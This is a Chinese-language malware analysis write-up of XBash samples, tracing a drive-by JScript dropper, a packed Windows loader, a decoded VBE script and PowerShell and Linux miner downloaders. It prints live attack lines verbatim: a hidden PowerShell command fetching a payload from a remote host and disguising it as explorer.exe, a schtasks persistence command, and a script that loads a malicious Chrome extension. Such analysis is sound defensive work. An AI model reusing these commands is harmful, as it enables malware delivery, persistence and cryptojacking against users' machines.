Xbash部分样本分析

 病毒样本下载来源于i春秋一位cq5f7a075d作者的主题帖《XBash系列病毒样本分析报告》,是一个Iron Group组织使用的XBash恶意软件,样本链接:https://bbs.ichunqiu.com/thread-47475-1-1.html
 推荐几个比较活跃的样本下载区,如卡饭、i春秋、吾爱、VirusShare等都比较活跃。

故事还是要从挂马网站开始,也就是网页下载恶意代码开始分析,如下所示:
Xbash部分样本分析
                    图片一:JScript脚本
 变量ebc9拖入010中转换成字符串如下所示:
Xbash部分样本分析
                    图片二:数组还原
 还原Js代码如下所示,图片中给出了还原的代码(已标红):
Xbash部分样本分析
                    图片三:代码复原
 如上述代码,做了以下几件事情:
  1、使用了ActiveX控件,注意这个只有IE才支持,因为是微软的
  2、获取了temp的临时路径,拼接了IE浏览器进程名(伪装)。
  3、判断是否临时文件是否存在,如果不存在则执powershell指令,指令如下:
powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://daknobcq4zal6vbm.tk/tg.jpg',$env:TEMP+'/explorer.exe');
意思就是远程下载脚本绕过执行策略并隐藏执行窗口,powershell指令执行一般不会杀毒软件被拦截,这样就达成了目的,下载恶意代码并且伪装成explorer.exe。
  4、执行下载的恶意代码。

 关于挂马网站分析完毕,下面就是分析下载下来的恶意代码,如下所示:
Xbash部分样本分析
                    图片四:脱壳
 如上所示,样本加了一个UPX壳,脱掉修复IAT后样本就被还原了,拉入IDA后如下所示:
Xbash部分样本分析
                    图片五:主函数
 sub_405920分析如下,先获取了window shell特殊文件夹的标识值,如下所示:
Xbash部分样本分析
                    图片六:SHGetSpecialFoladerPathA
 继续分析,然后初始化了一段字符串,且求出了字符串大小,流程图如下:
Xbash部分样本分析
                    图片七:字符串
其实一开始静态观察猜错了初始化的字符串顺序....,然后动态调试为了验证数据的精准,下面继续调用了函数流程如下,根据字符串初始化进行了获取名称,锁机制设置,如下所示:
Xbash部分样本分析
                    图片八:执行流程
 根据字符串运算获取了名称,拼接路径如下:
Xbash部分样本分析
                    图片九:C:\Program Files\TempBMBD19XS
 这里还不算真正开是,只是做了个预热,下面样本开始认真了,如下所示:
Xbash部分样本分析
                    图片十:静态分析
 如上图所示,获取了运行路径,拼接了chrome.crx,当有路径出现的时候就会有操作,如下所示:
Xbash部分样本分析
                    图片十一:chrome.crx
 继续分析函数sub_408360,选择了动态调试字符串,因为字符串加密了,所以动态调试分析起来相对轻松一些,内部代码如下所示:
Xbash部分样本分析
                    图片十二:sub_408360
分析函数sub_40D0B0的时候,汇编分析时候根据循环规律猜出部分代码(可惜猜错了)。在OD中字符串解密看一下,看到CreateToolhelp32Snapshot函数时候,就明白这是要创建进程快照,也明白了整个函数的意义,如下所示:
Xbash部分样本分析
                    图片十三:sub_40D0B0.CreateToolhelp32Snapshot
遍历进程,杀掉chrome进程,如下所示:
Xbash部分样本分析
                    图片十四:Kill chrome.exe
 如上图所示,经过这一层关系,根据当前分析的情况,样本肯定准备伪装chrome.exe(chrome.crx),继续线性分析,如图十二所示:
1、打开注册表SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe
 2、请求Path,如果成功拼接路径C:\Program Files\Google\Chrome\Application\chrome.exe

 接下来,在路径下创建文件写入数据了,如下所示:
Xbash部分样本分析
                    图片十五:_mkdir and write
解压了数据,收尾工作,利用schtasks计划启动释放的程序,如下所示:
Xbash部分样本分析
Xbash部分样本分析
                    图片十六:WinExec
sub_408360光荣的完成他的使命,查杀chrome.exe进程,且创建释放恶意代码,调用WinExec执行释放的文件。
 做了这些事情之后还没有结束,到了分水岭,有意思的是判断了运行样本的命令行参数 ,分析如下:
Xbash部分样本分析
Xbash部分样本分析
Xbash部分样本分析
                    图片十七:分水岭
 不相等则跳转,如果相等最终会则执行流程如下图所示:
Xbash部分样本分析
                    图片十八:成功
&emps;该文章重点分析不跳转情况(真机环境下没有跳转),如下所示:
Xbash部分样本分析
                    图片十九:创建且写入恶意代码
 如果上面解压chrome.crx那段汇编熟悉的话,你会发现套路是相同:
  1、获取文件名称,拼接文件路径。
  2、创建及写入恶意代码过程。
  3、那么就该执行恶意代码了呗。

 我们对比一下写入的数据是或否相同,从而验证是否函数功能的正确性,如下所示:
Xbash部分样本分析
                    图片二十:写入恶意数据
 请求rundll32.exe执行DllUnInstall,然后创建恶意代码流程如下所示:
Xbash部分样本分析
Xbash部分样本分析
                    图片二十一:执行恶意dll
然后调用了ExitProcess结束了自己的一生,这个被挂马网站下载下来的病毒干了两件事:
  1、运行了sec.vbe
  2、运行了xxx.dat(名字是随机dll文件)


所以目标也很明确,被运行的两个程序,依次分析,运行时的顺序有时候也是刻意安排的,接下来分析sec.vbe:
 看后缀都明白,这是一个VB语言写的病毒,先打开看一看,长什么样,如下图所示:
Xbash部分样本分析
                    图片二十二:加密sec.vb
根据风格应该是微软的ScriptEncode编码算法来加密的,所以先尝试一下,不对在换就行了,解密后代码如下:

vb中注释是单引号 ' 
On Error ReSume Next:                               ' 这一句vb代码是异常处理,错误时会继续运行,不中断
strComputer = ".":
Set OBjWMISeRvice = GETobject("winmgmts:\\"&StrComPuter&"\root\CIMV2"):                             ' set是用于给对象变量赋值  返回ActiveX对象
Set CoLiTems = ObjWmISErvice.ExeCquery("SELECT * FROM Win32_Process where name='chrome.exe' ",,48): 'ExeCquery是指关闭指定用户进程
SeT objShell = CreateObjeCt("WScript.Shell"):       ' 创建WScript。sehll对象
starT = False:

' 遍历且与关键字对比
FOr Each ObjITem in colItEms:
    iF INstr(objitem.CommandLiNe,"silent-launch") > 1  ' vb中变量不区分大小写 字符串区分
    thEn start = true:
    end if:
    NEXt:

' 关闭进程
function Killproc(strProcname):
    On ErroR REsume Next:
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"):
    Set arRProcesses = objWmIServiCe.ExEcQuery("select * from win32_process where Name ='"&strprocname&"'"):
    for Each Proccess In aRrpRocessEs: 
    proccess.Terminate 0:       ' terminate是指事件的终止
    Next:
ENd FuncTiOn:

If nOT start 
    then KillprOc("chrome.exe"):    ' 杀死进程
    Dim Instpath:                   ' 根据变量类型为变量分配内存空间 
    INstpaTh = objShell.Regread("HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path"):  ' 读取注册表
    appdataLocAtIon = objShell.ExpandENvironmenTStriNgs("%LOCALAPPDATA%"):      ' 获取路径 C:\Users\xxx\AppData\Local
    chrome_locatIon = AppDataLoCaTion+"\chrome":                                ' 拼接路径 C:\Users\xxx\AppData\Local\chrome
    objShell.eXec(InsTPaTh+"\chrome.exe --load-extension="+chrome_locatIon+" --silent-launch --enable-automation"):
    ' --load-extension  每次重启chrome的快捷方式会被替换C:\Users\xxx\AppData\Local\chrome
    ' --silent-launch   表示不开启chrome,静默安装
    ' --enable-automation 开启自动化
End if

如何解密呢,在线解密:https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm
上面的vb脚本分析,对于关键的数据出写出详细的注释,这里不一一罗嗦,sec.vbe关闭chrome,然后替换了了Chrome的快捷方式。
 至于.dat是一个dll文件,PEID查看后发现加油vmp虚拟壳,对于这个壳,带壳调试的话,过虚拟、过反调试可以动态调试.....这里有兴趣的朋友自行分析,能力有限不能很好的分析该病毒的出步骤,所以这一个比较关键的环节略过......
通过dll执行(也就是上述省略分析的.dll文件),做了那些事情呢?
  1、在windows下释放了一段可执行的恶意代码,包含了powershell指令(用于下载挖矿)
  2、Linux下释放了.sh的脚本(用于进程查杀及下载挖矿)
 其实就是释放了两个下载器,我们分析一下释放的下载器。


Windows下Powershell如下所示:
前置知识:
  1、-EncodedCommand 接受 base-64 编码字符串版本的命令。使用此参数向 Windows PowerShell 提交需要复杂引号或大括号的命令。 代码中-E
  2、-WindowStyle将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden。 代码中-W
  3、-noprofile 简写 -NoP, 为不加载 windows poweshell 配置文件
  4、-NonInteractive不向用户显示交互式提示。


 打开.ps1脚本,发现被加密,如下所示:
Xbash部分样本分析
                    图片二十三:加密的Powershell指令
根据-E的参数,我们可以先推测使用了Base64进行了整体加密,下面在线Base64解密之后,如下图片所示:
Xbash部分样本分析
                    图片二十四:Base64解密
第一次Base64解密后,虽然还有大量的字符不识别,但是露出了关键一些数据,如iex,这就为后续的解密提供了思路,脚本中有IEX关键字了,我们去掉且重定向到新得文件中,尝试解密,解密后数据如下图所示:如下所示:
Xbash部分样本分析
                    图片二十五:Base64解密
分析Function DllMiner函数,如下所示:
Xbash部分样本分析
                    图片二十六:Function DllMiner     
函数内容将数据下载并截获正确得恶意代码写入到文件,命名为tmp.jpg,执行下载得文件,然后把DllMiner函数写入到额tmp.ps1,如下所示:
Xbash部分样本分析
                    图片二十七:tmp.ps1
 调用了SchTasks.exe执行计划任务,如下所示:

SchTasks.exe /Create /SC MINUTE /TN "Update " /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\tmp.ps1" /MO 6 /

参数介绍:
    1、/Create       创建新计划任务。
    2、/TN   taskname   指定唯一识别这个计划任务的名称
    3、/ST   starttime    指定运行任务的开始时间  /SC MINUTE (一分钟)
    4、/TR   taskrun    指定在这个计划时间运行的程序的路径
    5、/MO   modifier    改进计划类型以允许更好地控制计划重复

总结:一分钟运行一次tmp.ps1,也就是Function DllMiner函数

 下载得其实是挖矿程序,对于挖矿程序得分析不到位,有兴趣得可以分析一下。

补充:
1、电脑不能运行powershell脚本?报错让参考策略修改,修改配置如下图所示:
Xbash部分样本分析
                    图片二十八:powershell策略配置
 2、Powershell关于IEX混淆解密相关介绍:https://www.codercto.com/a/24286.html

Linux下.sh如下所示:
 看看Linux下.sh脚本是如何运行的,如下所示:
Xbash部分样本分析
                    图片二十九
 一个死循环,两个函数,就是整个脚本的内容,kills函数如下所示:
Xbash部分样本分析
                    图片三十
 各种kill与pkill,终止其他程序的挖矿进程。然后开始执行downloadyam函数,如下所示:
Xbash部分样本分析
                    图片二十一
 上述标红是注释,这便是脚本执行的过程,xx.sh总共下载了五个文件:
  config.json,bashf,pools.txt,bashg,XbashY
到此两个下载器分析完毕,至于挖矿程序的分析,还是不献丑了........以后有时间学习研究后,再来补上未分析的部分。

未完待续!

猜你喜欢

转载自blog.51cto.com/13352079/2351643